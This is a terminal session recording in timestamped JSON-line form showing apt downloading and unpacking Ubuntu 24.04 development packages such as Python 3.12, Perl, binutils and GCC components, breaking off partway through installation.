[63.906307, "o", "\u001b[33m\r88% [Working]                                                                                                                                                                                        10.5 MB/s 1s\u001b[0m"]
[63.99038, "o", "\r                                                                                                                                                                                                                 \rGet:127 http://archive.ubuntu.com/ubuntu noble/main amd64 libfile-fcntllock-perl amd64 0.22-4ubuntu5 [30.7 kB]\r\n\u001b[33m\r88% [127 libfile-fcntllock-perl 25.8 kB/30.7 kB 84%]                                                                                                                                                 10.5 MB/s 1s\u001b[0m"]
[63.992805, "o", "\u001b[33m\r88% [Waiting for headers]                                                                                                                                                                            10.5 MB/s 1s\u001b[0m"]
[64.13178, "o", "\r                                                                                                                                                                                                                 \r"]
[64.140805, "o", "Get:128 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libheif-plugin-aomenc amd64 1.17.6-1ubuntu4.2 [14.7 kB]\r\n\u001b[33m\r88% [128 libheif-plugin-aomenc 14.7 kB/14.7 kB 100%]                                                                                                                                                 10.5 MB/s 1s\u001b[0m\r                                                                                                                                                                                                                 \rGet:129 http://archive.ubuntu.com/ubuntu noble/main amd64 libjs-jquery all 3.6.1+dfsg+~3.5.14-1 [328 kB]\r\n\u001b[33m\r88% [129 libjs-jquery 327 kB/328 kB 100%]                                                                                                                                                            10.5 MB/s 1s\u001b[0m\r                                                                                                                                                                                                                 \rGet:130 http://archive.ubuntu.com/ubuntu noble/main amd64 libjs-underscore all 1.13.4~dfsg+~1.11.4-3 [118 kB]\r\n\u001b[33m\r89% [130 libjs-underscore 64.9 kB/118 kB 55%]                                                                                                                                                        10.5 MB/s 1s\u001b[0m\r                                                                                                                                                                                                                 \rGet:131 http://archive.ubuntu.com/ubuntu noble/main amd64 libjs-sphinxdoc all 7.2.6-6 [149 kB]\r\n\u001b[33m\r89% [131 libjs-sphinxdoc 12.3 kB/149 kB 8%]                                                                                                                                                          10.5 MB/s 1s\u001b[0m"]
[64.148926, "o", "\r                                                                                                                                                                                                                 \rGet:132 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libldap-common all 2.6.10+dfsg-0ubuntu0.24.04.1 [32.9 kB]\r\n\r                                                                                                                                                                                                                 \rGet:133 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libpython3.12t64 amd64 3.12.3-1ubuntu0.12 [2345 kB]\r\n\u001b[33m\r89% [133 libpython3.12t64 131 kB/2345 kB 6%]                                                                                                                                                         10.5 MB/s 1s\u001b[0m"]
[64.239094, "o", "\r                                                                                                                                                                                                                 \rGet:134 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 zlib1g-dev amd64 1:1.3.dfsg-3.1ubuntu2.1 [894 kB]\r\n\u001b[33m\r91% [134 zlib1g-dev 138 kB/894 kB 15%]                                                                                                                                                               10.5 MB/s 1s\u001b[0m"]
[64.287432, "o", "\r                                                                                                                                                                                                                 \rGet:135 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libpython3.12-dev amd64 3.12.3-1ubuntu0.12 [5681 kB]\r\n\u001b[33m\r92% [135 libpython3.12-dev 50.6 kB/5681 kB 1%]                                                                                                                                                       10.5 MB/s 0s\u001b[0m"]
[64.603291, "o", "\u001b[33m\r96% [Working]                                                                                                                                                                                        10.5 MB/s 0s\u001b[0m"]
[64.605286, "o", "\r                                                                                                                                                                                                                 \r"]
[64.606221, "o", "Get:136 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libpython3-dev amd64 3.12.3-0ubuntu2.1 [10.3 kB]\r\n\u001b[33m\r96% [136 libpython3-dev 10.3 kB/10.3 kB 100%]                                                                                                                                                        10.5 MB/s 0s\u001b[0m"]
[64.610446, "o", "\r                                                                                                                                                                                                                 \rGet:137 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 libsasl2-modules amd64 2.1.28+dfsg1-5ubuntu3.1 [69.9 kB]\r\n\u001b[33m\r96% [137 libsasl2-modules 65.2 kB/69.9 kB 93%]                                                                                                                                                       10.5 MB/s 0s\u001b[0m"]
[64.613839, "o", "\u001b[33m\r96% [Working]                                                                                                                                                                                        10.5 MB/s 0s\u001b[0m\r                                                                                                                                                                                                                 \rGet:138 http://archive.ubuntu.com/ubuntu noble/main amd64 manpages-dev all 6.7-2 [2013 kB]\r\n\u001b[33m\r96% [138 manpages-dev 0 B/2013 kB 0%]                                                                                                                                                                10.5 MB/s 0s\u001b[0m"]
[64.745003, "o", "\r                                                                                                                                                                                                                 \rGet:139 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 python3.12-dev amd64 3.12.3-1ubuntu0.12 [498 kB]\r\n\u001b[33m\r98% [139 python3.12-dev 399 kB/498 kB 80%]                                                                                                                                                           10.5 MB/s 0s\u001b[0m"]
[64.748712, "o", "\r                                                                                                                                                                                                                 \rGet:140 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 python3-dev amd64 3.12.3-0ubuntu2.1 [26.7 kB]\r\n\u001b[33m\r98% [140 python3-dev 2008 B/26.7 kB 8%]                                                                                                                                                              10.5 MB/s 0s\u001b[0m"]
[64.752613, "o", "\u001b[33m\r98% [Waiting for headers]                                                                                                                                                                            10.5 MB/s 0s"]
[64.754872, "o", "\u001b[0m"]
[64.769201, "o", "\r                                                                                                                                                                                                                 \rGet:141 http://archive.ubuntu.com/ubuntu noble-updates/main amd64 python3-setuptools all 68.1.2-2ubuntu1.2 [397 kB]\r\n\u001b[33m\r98% [141 python3-setuptools 6874 B/397 kB 2%]                                                                                                                                                        10.5 MB/s 0s\u001b[0m\u001b[33m\r99% [Working]                                                                                                                                                                                        10.5 MB/s 0s\u001b[0m\r                                                                                                                                                                                                                 \rGet:142 http://archive.ubuntu.com/ubuntu noble/universe amd64 python3-wheel all 0.42.0-2 [53.1 kB]\r\n\u001b[33m\r99% [142 python3-wheel 0 B/53.1 kB 0%]                                                                                                                                                               10.5 MB/s 0s"]
[64.770694, "o", "\u001b[0m"]
[64.777665, "o", "\u001b[33m\r99% [Waiting for headers]                                                                                                                                                                            10.5 MB/s 0s"]
[64.778666, "o", "\u001b[0m\r                                                                                                                                                                                                                 \rGet:143 http://archive.ubuntu.com/ubuntu noble-updates/universe amd64 python3-pip all 24.0+dfsg-1ubuntu1.3 [1320 kB]\r\n\u001b[33m\r99% [143 python3-pip 80.9 kB/1320 kB 6%]                                                                                                                                                             10.5 MB/s 0s\u001b[0m"]
[64.834828, "o", "\u001b[33m\r100% [Working]                                                                                                                                                                                       10.5 MB/s 0s\u001b[0m\r                                                                                                                                                                                                                 \rFetched 114 MB in 11s (10.5 MB/s)\r\n"]
[65.061598, "o", "debconf: delaying package configuration, since apt-utils is not installed\r\n"]
[65.133018, "o", "\n\u001b7\u001b[0;53r\u001b8\u001b[1A"]
[65.225731, "o", "Selecting previously unselected package liblocale-gettext-perl.\r\n(Reading database ... \r(Reading database ... 5%\r(Reading database ... 10%\r(Reading database ... 15%\r(Reading database ... 20%\r(Reading database ... 25%\r(Reading database ... 30%\r(Reading database ... 35%\r(Reading database ... 40%\r(Reading database ... 45%\r(Reading database ... 50%\r(Reading database ... 55%\r(Reading database ... 60%\r(Reading database ... 65%\r(Reading database ... 70%\r(Reading database ... 75%\r(Reading database ... 80%\r(Reading database ... 85%\r(Reading database ... 90%\r(Reading database ... 95%\r(Reading database ... 100%\r(Reading database ... 4381 files and directories currently installed.)\r\nPreparing to unpack .../liblocale-gettext-perl_1.07-6ubuntu5_amd64.deb ...\r\n\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [  0%]\u001b[49m\u001b[39m [............................................................................................................................................................................................] \u001b8"]
[65.246041, "o", "Unpacking liblocale-gettext-perl (1.07-6ubuntu5) ...\r\n"]
[65.379354, "o", "Selecting previously unselected package libpython3.12-minimal:amd64.\r\nPreparing to unpack .../libpython3.12-minimal_3.12.3-1ubuntu0.12_amd64.deb ...\r\n"]
[65.388732, "o", "Unpacking libpython3.12-minimal:amd64 (3.12.3-1ubuntu0.12) ...\r\n"]
[65.621305, "o", "Selecting previously unselected package libexpat1:amd64.\r\n"]
[65.624562, "o", "Preparing to unpack .../libexpat1_2.6.1-2ubuntu0.4_amd64.deb ...\r\n"]
[65.650833, "o", "Unpacking libexpat1:amd64 (2.6.1-2ubuntu0.4) ...\r\n"]
[65.682307, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [  1%]\u001b[49m\u001b[39m [#...........................................................................................................................................................................................] \u001b8"]
[65.761623, "o", "Selecting previously unselected package python3.12-minimal.\r\nPreparing to unpack .../python3.12-minimal_3.12.3-1ubuntu0.12_amd64.deb ...\r\n"]
[65.785638, "o", "Unpacking python3.12-minimal (3.12.3-1ubuntu0.12) ...\r\n"]
[66.030881, "o", "Setting up libpython3.12-minimal:amd64 (3.12.3-1ubuntu0.12) ...\r\n"]
[66.058491, "o", "Setting up libexpat1:amd64 (2.6.1-2ubuntu0.4) ...\r\n"]
[66.066882, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [  2%]\u001b[49m\u001b[39m [###.........................................................................................................................................................................................] \u001b8"]
[66.083695, "o", "Setting up python3.12-minimal (3.12.3-1ubuntu0.12) ...\r\n"]
[67.285481, "o", "Selecting previously unselected package python3-minimal.\r\n(Reading database ... \r(Reading database ... 5%"]
[67.288561, "o", "\r(Reading database ... 10%\r(Reading database ... 15%\r(Reading database ... "]
[67.290081, "o", "20%\r(Reading database ... 25%\r(Reading database ... 30%\r(Reading database ... 35%\r(Reading database ... 40%\r(Reading database ... 45%\r(Reading database ... 50%\r(Reading database ... 55%\r(Reading database ... 60%\r(Reading database ... 65%\r"]
[67.294776, "o", "(Reading database ... 70%\r(Reading database ... 75%\r"]
[67.298707, "o", "(Reading database ... 80%\r(Reading database ... "]
[67.300753, "o", "85%\r(Reading database ... 90%\r(Reading database ... 95%\r"]
[67.308625, "o", "(Reading database ... 100%\r(Reading database ... 4714 files and directories currently installed.)\r\nPreparing to unpack .../0-python3-minimal_3.12.3-0ubuntu2.1_amd64.deb ...\r\n"]
[67.321112, "o", "Unpacking python3-minimal (3.12.3-0ubuntu2.1) ...\r\n"]
[67.400622, "o", "Selecting previously unselected package media-types.\r\nPreparing to unpack .../1-media-types_10.1.0_all.deb ...\r\n"]
[67.410654, "o", "Unpacking media-types (10.1.0) ...\r\n"]
[67.44472, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [  3%]\u001b[49m\u001b[39m [#####.......................................................................................................................................................................................] \u001b8"]
[67.525836, "o", "Selecting previously unselected package netbase.\r\nPreparing to unpack .../2-netbase_6.4_all.deb ...\r\n"]
[67.541709, "o", "Unpacking netbase (6.4) ...\r\n"]
[67.636548, "o", "Selecting previously unselected package tzdata.\r\n"]
[67.639794, "o", "Preparing to unpack .../3-tzdata_2026a-0ubuntu0.24.04.1_all.deb ...\r\n"]
[67.658015, "o", "Unpacking tzdata (2026a-0ubuntu0.24.04.1) ...\r\n"]
[67.902261, "o", "Selecting previously unselected package readline-common.\r\n"]
[67.907114, "o", "Preparing to unpack .../4-readline-common_8.2-4build1_all.deb ..."]
[67.907296, "o", "\r\n"]
[67.908924, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [  4%]\u001b[49m\u001b[39m [#######.....................................................................................................................................................................................] \u001b8"]
[67.92427, "o", "Unpacking readline-common (8.2-4build1) ..."]
[67.924707, "o", "\r\n"]
[68.05692, "o", "Selecting previously unselected package libreadline8t64:amd64.\r\nPreparing to unpack .../5-libreadline8t64_8.2-4build1_amd64.deb ...\r\n"]
[68.081658, "o", "Adding 'diversion of /lib/x86_64-linux-gnu/libhistory.so.8 to /lib/x86_64-linux-gnu/libhistory.so.8.usr-is-merged by libreadline8t64'\r\n"]
[68.104855, "o", "Adding 'diversion of /lib/x86_64-linux-gnu/libhistory.so.8.2 to /lib/x86_64-linux-gnu/libhistory.so.8.2.usr-is-merged by libreadline8t64'\r\n"]
[68.120215, "o", "Adding 'diversion of /lib/x86_64-linux-gnu/libreadline.so.8 to /lib/x86_64-linux-gnu/libreadline.so.8.usr-is-merged by libreadli"]
[68.123055, "o", "ne8t64'\r\n"]
[68.140748, "o", "Adding 'diversion of /lib/x86_64-linux-gnu/libreadline.so.8.2 to /lib/x86_64-linux-gnu/libreadline.so.8.2.usr-is-merged by libre"]
[68.144487, "o", "adline8t64'\r\n"]
[68.152174, "o", "Unpacking libreadline8t64:amd64 (8.2-4build1) ...\r\n"]
[68.2565, "o", "Selecting previously unselected package libsqlite3-0:amd64.\r\n"]
[68.259745, "o", "Preparing to unpack .../6-libsqlite3-0_3.45.1-1ubuntu2.5_amd64.deb ..."]
[68.263497, "o", "\r\n"]
[68.274726, "o", "Unpacking libsqlite3-0:amd64 (3.45.1-1ubuntu2.5) ...\r\n"]
[68.397576, "o", "Selecting previously unselected package libpython3.12-stdlib:amd64.\r\nPreparing to unpack .../7-libpython3.12-stdlib_3.12.3-1ubuntu0.12_amd64.deb ...\r\n\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [  5%]\u001b[49m\u001b[39m [#########...................................................................................................................................................................................] \u001b8"]
[68.408508, "o", "Unpacking libpython3.12-stdlib:amd64 (3.12.3-1ubuntu0.12) ...\r\n"]
[68.714451, "o", "Selecting previously unselected package python3.12.\r\n"]
[68.719808, "o", "Preparing to unpack .../8-python3.12_3.12.3-1ubuntu0.12_amd64.deb ...\r\n"]
[68.731848, "o", "Unpacking python3.12 (3.12.3-1ubuntu0.12) ...\r\n"]
[68.845729, "o", "Selecting previously unselected package libpython3-stdlib:amd64.\r\nPreparing to unpack .../9-libpython3-stdlib_3.12.3-0ubuntu2.1_amd64.deb ...\r\n"]
[68.859165, "o", "Unpacking libpython3-stdlib:amd64 (3.12.3-0ubuntu2.1) ..."]
[68.860479, "o", "\r\n"]
[68.943614, "o", "Setting up python3-minimal (3.12.3-0ubuntu2.1) ...\r\n"]
[68.958214, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [  6%]\u001b[49m\u001b[39m [###########.................................................................................................................................................................................] \u001b8"]
[69.271644, "o", "Selecting previously unselected package python3.\r\n(Reading database ... \r(Reading database ... 5%\r(Reading database ... 10%\r(Reading database ... 15%\r(Reading database ... 20%\r(Reading database ... 25%\r(Reading database ... 30%\r(Reading database ... 35%\r(Reading database ... 40%\r(Reading database ... 45%\r(Reading database ... 50%\r(Reading database ... 55%\r(Reading database ... 60%\r(Reading database ... 65%\r(Reading database ... 70%\r"]
[69.275424, "o", "(Reading database ... 75%\r(Reading database ... 80%\r(Reading database ... 85%\r"]
[69.275765, "o", "(Reading database ... 90%\r"]
[69.281153, "o", "(Reading database ... 95%\r"]
[69.284341, "o", "(Reading database ... 100%\r(Reading database ... 5720 files and directories currently installed.)\r\n"]
[69.286865, "o", "Preparing to unpack .../0-python3_3.12.3-0ubuntu2.1_amd64.deb ..."]
[69.293601, "o", "\r\n"]
[69.3172, "o", "Unpacking python3 (3.12.3-0ubuntu2.1) ...\r\n"]
[69.399253, "o", "Selecting previously unselected package perl-modules-5.38.\r\nPreparing to unpack .../1-perl-modules-5.38_5.38.2-3.2ubuntu0.2_all.deb ...\r\n"]
[69.407881, "o", "Unpacking perl-modules-5.38 (5.38.2-3.2ubuntu0.2) ...\r\n"]
[69.960517, "o", "Selecting previously unselected package libgdbm6t64:amd64.\r\n"]
[69.969144, "o", "Preparing to unpack .../2-libgdbm6t64_1.23-5.1build1_amd64.deb ...\r\n\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [  7%]\u001b[49m\u001b[39m [#############...............................................................................................................................................................................] \u001b8"]
[69.975692, "o", "Unpacking libgdbm6t64:amd64 (1.23-5.1build1) ...\r\n"]
[70.070856, "o", "Selecting previously unselected package libgdbm-compat4t64:amd64.\r\n"]
[70.087118, "o", "Preparing to unpack .../3-libgdbm-compat4t64_1.23-5.1build1_amd64.deb ...\r\n"]
[70.098114, "o", "Unpacking libgdbm-compat4t64:amd64 (1.23-5.1build1) ...\r\n"]
[70.211999, "o", "Selecting previously unselected package libperl5.38t64:amd64.\r\nPreparing to unpack .../4-libperl5.38t64_5.38.2-3.2ubuntu0.2_amd64.deb ...\r\n"]
[70.223049, "o", "Unpacking libperl5.38t64:amd64 (5.38.2-3.2ubuntu0.2) ...\r\n"]
[70.596716, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [  8%]\u001b[49m\u001b[39m [###############.............................................................................................................................................................................] \u001b8"]
[70.669166, "o", "Selecting previously unselected package perl.\r\n"]
[70.669965, "o", "Preparing to unpack .../5-perl_5.38.2-3.2ubuntu0.2_amd64.deb ..."]
[70.672324, "o", "\r\n"]
[70.714146, "o", "Unpacking perl (5.38.2-3.2ubuntu0.2) ...\r\n"]
[70.835171, "o", "Selecting previously unselected package adduser.\r\nPreparing to unpack .../6-adduser_3.137ubuntu1_all.deb ...\r\n"]
[70.853284, "o", "Unpacking adduser (3.137ubuntu1) ..."]
[70.858067, "o", "\r\n"]
[70.959634, "o", "Setting up adduser (3.137ubuntu1) ...\r\n"]
[70.996855, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [  9%]\u001b[49m\u001b[39m [#################...........................................................................................................................................................................] \u001b8"]
[71.052583, "o", "Selecting previously unselected package openssl.\r\n(Reading database ... \r(Reading database ... 5%\r(Reading database ... 10%\r(Reading database ... 15%\r(Reading database ... 20%\r(Reading database ... 25%\r(Reading database ... 30%\r(Reading database ... 35%\r(Reading database ... 40%\r(Reading database ... 45%\r(Reading database ... 50%\r(Reading database ... 55%\r(Reading database ... 60%\r(Reading database ... 65%\r(Reading database ... 70%\r(Reading database ... 75%\r(Reading database ... 80%\r(Reading database ... 85%\r(Reading database ... 90%\r(Reading database ... 95%\r(Reading database ... 100%\r(Reading database ... 7801 files and directories currently installed.)\r\nPreparing to unpack .../000-openssl_3.0.13-0ubuntu3.7_amd64.deb ...\r\n"]
[71.0682, "o", "Unpacking openssl (3.0.13-0ubuntu3.7) ...\r\n"]
[71.224263, "o", "Selecting previously unselected package ca-certificates.\r\n"]
[71.226204, "o", "Preparing to unpack .../001-ca-certificates_20240203_all.deb ...\r\n"]
[71.236484, "o", "Unpacking ca-certificates (20240203) ...\r\n"]
[71.382631, "o", "Selecting previously unselected package libbsd0:amd64.\r\n"]
[71.386792, "o", "Preparing to unpack .../002-libbsd0_0.12.1-1build1.1_amd64.deb ...\r\n"]
[71.399309, "o", "Unpacking libbsd0:amd64 (0.12.1-1build1.1) ...\r\n"]
[71.425912, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 10%]\u001b[49m\u001b[39m [###################.........................................................................................................................................................................] \u001b8"]
[71.494763, "o", "Selecting previously unselected package python3-pkg-resources.\r\nPreparing to unpack .../003-python3-pkg-resources_68.1.2-2ubuntu1.2_all.deb ...\r\n"]
[71.501566, "o", "Unpacking python3-pkg-resources (68.1.2-2ubuntu1.2) ...\r\n"]
[71.604043, "o", "Selecting previously unselected package libjansson4:amd64.\r\nPreparing to unpack .../004-libjansson4_2.14-2build2_amd64.deb ...\r\n"]
[71.614798, "o", "Unpacking libjansson4:amd64 (2.14-2build2) ...\r\n"]
[71.709583, "o", "Selecting previously unselected package libpng16-16t64:amd64."]
[71.712122, "o", "\r\n"]
[71.718129, "o", "Preparing to unpack .../005-libpng16-16t64_1.6.43-5ubuntu0.5_amd64.deb ...\r\n"]
[71.726643, "o", "Unpacking libpng16-16t64:amd64 (1.6.43-5ubuntu0.5) ...\r\n"]
[71.758158, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 11%]\u001b[49m\u001b[39m [####################........................................................................................................................................................................] \u001b8"]
[71.810426, "o", "Selecting previously unselected package libxau6:amd64.\r\n"]
[71.814256, "o", "Preparing to unpack .../006-libxau6_1%3a1.0.9-1build6_amd64.deb ..."]
[71.814349, "o", "\r\n"]
[71.826688, "o", "Unpacking libxau6:amd64 (1:1.0.9-1build6) ...\r\n"]
[71.904888, "o", "Selecting previously unselected package libxdmcp6:amd64.\r\n"]
[71.910629, "o", "Preparing to unpack .../007-libxdmcp6_1%3a1.1.3-0ubuntu6_amd64.deb ...\r\n"]
[71.91973, "o", "Unpacking libxdmcp6:amd64 (1:1.1.3-0ubuntu6) ...\r\n"]
[72.024885, "o", "Selecting previously unselected package libxcb1:amd64.\r\n"]
[72.031219, "o", "Preparing to unpack .../008-libxcb1_1.15-1ubuntu2_amd64.deb ...\r\n\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 12%]\u001b[49m\u001b[39m [######################......................................................................................................................................................................] \u001b8"]
[72.04558, "o", "Unpacking libxcb1:amd64 (1.15-1ubuntu2) ...\r\n"]
[72.136017, "o", "Selecting previously unselected package libx11-data.\r\nPreparing to unpack .../009-libx11-data_2%3a1.8.7-1build1_all.deb ...\r\n"]
[72.142671, "o", "Unpacking libx11-data (2:1.8.7-1build1) ...\r\n"]
[72.323384, "o", "Selecting previously unselected package libx11-6:amd64.\r\n"]
[72.326165, "o", "Preparing to unpack .../010-libx11-6_2%3a1.8.7-1build1_amd64.deb ...\r\n"]
[72.335853, "o", "Unpacking libx11-6:amd64 (2:1.8.7-1build1) ...\r\n"]
[72.43618, "o", "Selecting previously unselected package manpages.\r\nPreparing to unpack .../011-manpages_6.7-2_all.deb ...\r\n\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 13%]\u001b[49m\u001b[39m [########################....................................................................................................................................................................] \u001b8"]
[72.45201, "o", "Unpacking manpages (6.7-2) ..."]
[72.45453, "o", "\r\n"]
[72.589462, "o", "Selecting previously unselected package xz-utils.\r\nPreparing to unpack .../012-xz-utils_5.6.1+really5.4.5-1ubuntu0.2_amd64.deb ...\r\n"]
[72.59959, "o", "Unpacking xz-utils (5.6.1+really5.4.5-1ubuntu0.2) ...\r\n"]
[72.718423, "o", "Selecting previously unselected package binutils-common:amd64.\r\n"]
[72.723762, "o", "Preparing to unpack .../013-binutils-common_2.42-4ubuntu2.10_amd64.deb ..."]
[72.724557, "o", "\r\n"]
[72.733445, "o", "Unpacking binutils-common:amd64 (2.42-4ubuntu2.10) ...\r\n"]
[72.80367, "o", "Selecting previously unselected package libsframe1:amd64.\r\n"]
[72.805288, "o", "Preparing to unpack .../014-libsframe1_2.42-4ubuntu2.10_amd64.deb ...\r\n"]
[72.806605, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 14%]\u001b[49m\u001b[39m [##########################..................................................................................................................................................................] \u001b8"]
[72.815701, "o", "Unpacking libsframe1:amd64 (2.42-4ubuntu2.10) ...\r\n"]
[72.917771, "o", "Selecting previously unselected package libbinutils:amd64.\r\n"]
[72.92221, "o", "Preparing to unpack .../015-libbinutils_2.42-4ubuntu2.10_amd64.deb ...\r\n"]
[72.935608, "o", "Unpacking libbinutils:amd64 (2.42-4ubuntu2.10) ...\r\n"]
[73.057859, "o", "Selecting previously unselected package libctf-nobfd0:amd64.\r\nPreparing to unpack .../016-libctf-nobfd0_2.42-4ubuntu2.10_amd64.deb ...\r\n"]
[73.071564, "o", "Unpacking libctf-nobfd0:amd64 (2.42-4ubuntu2.10) ...\r\n"]
[73.100609, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 15%]\u001b[49m\u001b[39m [############################................................................................................................................................................................] \u001b8"]
[73.172853, "o", "Selecting previously unselected package libctf0:amd64.\r\n"]
[73.178877, "o", "Preparing to unpack .../017-libctf0_2.42-4ubuntu2.10_amd64.deb ...\r\n"]
[73.188897, "o", "Unpacking libctf0:amd64 (2.42-4ubuntu2.10) ...\r\n"]
[73.299225, "o", "Selecting previously unselected package libgprofng0:amd64.\r\n"]
[73.304163, "o", "Preparing to unpack .../018-libgprofng0_2.42-4ubuntu2.10_amd64.deb ...\r\n"]
[73.317342, "o", "Unpacking libgprofng0:amd64 (2.42-4ubuntu2.10) ...\r\n"]
[73.421967, "o", "Selecting previously unselected package binutils-x86-64-linux-gnu.\r\nPreparing to unpack .../019-binutils-x86-64-linux-gnu_2.42-4ubuntu2.10_amd64.deb ...\r\n"]
[73.435306, "o", "Unpacking binutils-x86-64-linux-gnu (2.42-4ubuntu2.10) ...\r\n"]
[73.588235, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 16%]\u001b[49m\u001b[39m [##############################..............................................................................................................................................................] \u001b8"]
[73.638795, "o", "Selecting previously unselected package binutils.\r\n"]
[73.640025, "o", "Preparing to unpack .../020-binutils_2.42-4ubuntu2.10_amd64.deb ...\r\n"]
[73.648486, "o", "Unpacking binutils (2.42-4ubuntu2.10) ...\r\n"]
[73.732834, "o", "Selecting previously unselected package libc-dev-bin.\r\nPreparing to unpack .../021-libc-dev-bin_2.39-0ubuntu8.7_amd64.deb ...\r\n"]
[73.73925, "o", "Unpacking libc-dev-bin (2.39-0ubuntu8.7) ...\r\n"]
[73.836521, "o", "Selecting previously unselected package linux-libc-dev:amd64.\r\nPreparing to unpack .../022-linux-libc-dev_6.8.0-107.107_amd64.deb ...\r\n"]
[73.84825, "o", "Unpacking linux-libc-dev:amd64 (6.8.0-107.107) ...\r\n"]
[74.216243, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 17%]\u001b[49m\u001b[39m [################################............................................................................................................................................................] \u001b8"]
[74.285413, "o", "Selecting previously unselected package libcrypt-dev:amd64.\r\n"]
[74.291271, "o", "Preparing to unpack .../023-libcrypt-dev_1%3a4.4.36-4build1_amd64.deb ...\r\n"]
[74.308395, "o", "Unpacking libcrypt-dev:amd64 (1:4.4.36-4build1) ...\r\n"]
[74.386274, "o", "Selecting previously unselected package rpcsvc-proto."]
[74.387148, "o", "\r\n"]
[74.388271, "o", "Preparing to unpack .../024-rpcsvc-proto_1.4.2-0ubuntu7_amd64.deb ...\r\n"]
[74.39313, "o", "Unpacking rpcsvc-proto (1.4.2-0ubuntu7) ...\r\n"]
[74.48705, "o", "Selecting previously unselected package libc6-dev:amd64.\r\n"]
[74.488825, "o", "Preparing to unpack .../025-libc6-dev_2.39-0ubuntu8.7_amd64.deb ...\r\n"]
[74.499585, "o", "Unpacking libc6-dev:amd64 (2.39-0ubuntu8.7) ...\r\n"]
[74.810342, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 18%]\u001b[49m\u001b[39m [##################################..........................................................................................................................................................] \u001b8"]
[74.865633, "o", "Selecting previously unselected package gcc-13-base:amd64.\r\n"]
[74.871143, "o", "Preparing to unpack .../026-gcc-13-base_13.3.0-6ubuntu2~24.04.1_amd64.deb ..."]
[74.873769, "o", "\r\n"]
[74.885218, "o", "Unpacking gcc-13-base:amd64 (13.3.0-6ubuntu2~24.04.1) ...\r\n"]
[74.979787, "o", "Selecting previously unselected package libisl23:amd64.\r\n"]
[74.984454, "o", "Preparing to unpack .../027-libisl23_0.26-3build1.1_amd64.deb ..."]
[74.988074, "o", "\r\n"]
[75.002241, "o", "Unpacking libisl23:amd64 (0.26-3build1.1) ...\r\n"]
[75.171073, "o", "Selecting previously unselected package libmpfr6:amd64.\r\nPreparing to unpack .../028-libmpfr6_4.2.1-1build1.1_amd64.deb ...\r\n\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 19%]\u001b[49m\u001b[39m [###################################.........................................................................................................................................................] \u001b8"]
[75.183777, "o", "Unpacking libmpfr6:amd64 (4.2.1-1build1.1) ...\r\n"]
[75.279792, "o", "Selecting previously unselected package libmpc3:amd64.\r\n"]
[75.283163, "o", "Preparing to unpack .../029-libmpc3_1.3.1-1build1.1_amd64.deb ...\r\n"]
[75.289283, "o", "Unpacking libmpc3:amd64 (1.3.1-1build1.1) ...\r\n"]
[75.36072, "o", "Selecting previously unselected package cpp-13-x86-64-linux-gnu.\r\n"]
[75.361764, "o", "Preparing to unpack .../030-cpp-13-x86-64-linux-gnu_13.3.0-6ubuntu2~24.04.1_amd64.deb ...\r\n"]
[75.372268, "o", "Unpacking cpp-13-x86-64-linux-gnu (13.3.0-6ubuntu2~24.04.1) ...\r\n"]
[75.867073, "o", "Selecting previously unselected package cpp-13.\r\nPreparing to unpack .../031-cpp-13_13.3.0-6ubuntu2~24.04.1_amd64.deb ...\r\n\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 20%]\u001b[49m\u001b[39m [#####################################.......................................................................................................................................................] \u001b8"]
[75.876776, "o", "Unpacking cpp-13 (13.3.0-6ubuntu2~24.04.1) ...\r\n"]
[75.95565, "o", "Selecting previously unselected package cpp-x86-64-linux-gnu.\r\n"]
[75.961529, "o", "Preparing to unpack .../032-cpp-x86-64-linux-gnu_4%3a13.2.0-7ubuntu1_amd64.deb ...\r\n"]
[75.972935, "o", "Unpacking cpp-x86-64-linux-gnu (4:13.2.0-7ubuntu1) ...\r\n"]
[76.074881, "o", "Selecting previously unselected package cpp.\r\nPreparing to unpack .../033-cpp_4%3a13.2.0-7ubuntu1_amd64.deb ...\r\n"]
[76.104672, "o", "Unpacking cpp (4:13.2.0-7ubuntu1) ...\r\n"]
[76.176856, "o", "Selecting previously unselected package libcc1-0:amd64.\r\n"]
[76.177536, "o", "Preparing to unpack .../034-libcc1-0_14.2.0-4ubuntu2~24.04.1_amd64.deb ...\r\n"]
[76.184612, "o", "\u001b7\u001b[54;0f\u001b[42m\u001b[30mProgress: [ 21%]\u001b[49m\u001b[39m [#######################################.....................................................................................................................................................] \u001b8"]
[76.194209, "o", "Unpacking libcc1-0:amd64 (14.2.0-4ubuntu2~24.04.1) ...\r\n"]
[76.296412, "o", "Selecting previously unselected package libgomp1:amd64.\r\nPreparing to unpack .../035-libgomp1_14.2.0-4ubuntu2~24.04.1_amd64.deb ...\r\n"]
[76.306696, "o", "Unpacking libgomp1:amd64 (14.2.0-4ubuntu2~24.04.1) ...\r\n"]
